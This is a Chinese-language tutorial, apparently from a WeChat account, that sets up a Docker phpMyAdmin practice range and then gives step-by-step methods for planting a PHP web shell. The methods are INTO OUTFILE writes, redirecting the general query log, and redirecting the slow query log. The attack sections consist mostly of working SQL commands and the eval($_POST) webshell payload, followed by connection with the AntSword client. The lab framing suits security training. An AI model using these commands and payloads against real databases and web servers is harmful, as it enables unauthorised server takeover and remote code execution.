01
★★ 靶场搭建 ★★
第一步:准备一台Docker环境虚拟机,然后执行如下命令快速下载镜像。
docker
pull registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.
30
第二步:执行如下语句,创建最新版容器。
docker
run --name cnlamp -p
8080
:
80
-p
3306
:
3306
-d registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.
30
#映射端口需要结合实际情况自行设定
docker ps -a
第三步:访问映射的IP或域名,如果显示如下图,即表明安装成功。
第四步:关注下方公众号并回复:cnlamp,如下图所示,从而获得查看phpmyadmin的用户名和密码的方法。
第五步:访问PHPMyadmin,使用给出的密码进行登录。
到此,我们完成了LAMP靶场的部署;接下来,Getshell的利用正式开始。
02
★★ Getshell方法 ★★
0X01 直接写入shell文件
(1)通过outfile和dumpfile直接写入shell 文件,首先我们先普及一下两者的区别。
outfile:
--支持多行数据同时导出
--使用
union
联合查询时,要保证两侧查询的列数相同
--会在换行符制表符后面追加反斜杠
--会在末尾追加换行
dumpfile:
--每次只能导出一行数据
--不会在换行符制表符后面追加反斜杠
--不会在末尾追加换行
#因此我们平时直接写入命令的时候使用outfile即可,特定环境需要写入二进制文件时使用dumpfile。
(2)利用条件如下:
--对web目录需要有写权限能够使用单引号(root)
--知道网站绝对路径(phpinfo/php探针/通过报错等)
--secure_file_priv没有具体值
(3)查询路径与查看secure_file_priv的信息
--select @@basedir; 查找绝对路径
--show global variables like '%secure_file_priv%'; 查看有没有配置 secure_file_priv 功能
--NULL 表示不允许导入或导出
--/tmp 表示只允许在 /tmp 目录导入导出
--空 表示不限制目录
(4)如果满足以上条件可以直接写shell,参考写马方式如下:
select "
@
eval
($_POST[
'123'
]);
" into outfile '/网站绝对路径/shell.php'
#网站绝对路径可借助phpinfo查看
(5)往SQL语句中写马,效果呈现如下:
(6)最后借助蚁剑,连接成功。
0X02 日志文件写 shell
(1)在mysql中,查询语句会被写入到日志文件中去,可以通过phpMyAdmin后台执行sql语句开启日志功能,修改日志存储文件。
利用条件如下:
--root权限
--知道网站绝对路径
(2)general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell。
--SHOW VARIABLES LIKE '%general%'; 查看配置默认是关闭状态
--set global general_log = on; 开启general_log模式
--set global general_log_file='日志路径shell02.php'; 修改日志目录为shell地址
--select "<?php @eval($_POST['123']);?>" 写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中
(3)关闭general_log与修改log_file路径后,再次查看,效果如下:
(4)尝试写马
(5)尝试通过蚁剑连接
0X03 慢日志文件写 shell
(1)在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。
优势:数据库业务大的网站,几秒钟全局查询日志巨大,访问shell文件就会提示500错误,通过慢查询日志可以避免这个问题。
(2)利用条件如下
--root权限
--知道网站绝对路径
(3)慢查询日志开放及写马总结如下
--show variables like '%slow_query_log%'; 查看慢查询日志开启情况
--set global slow_query_log=on; 开启慢查询日志
--set global slow_query_log_file='绝对路径/shell03.php'; 修改日志文件存储的绝对路径
--select "<?php @eval($_POST['123']);?>" or sleep(10); 向日志文件中写入shell
#使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
--show global variables like '%long_query_time%';
(4)查看慢查询日志开启情况
(5)开启慢查询日志,修改日志文件存储的绝对路径。
(6)向日志文件中写入shell请求。
(7)尝试通过蚁剑连接
THE END
原文始发于微信公众号(数字人才创研院):PHPMyadmin的Getshell方法汇总
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论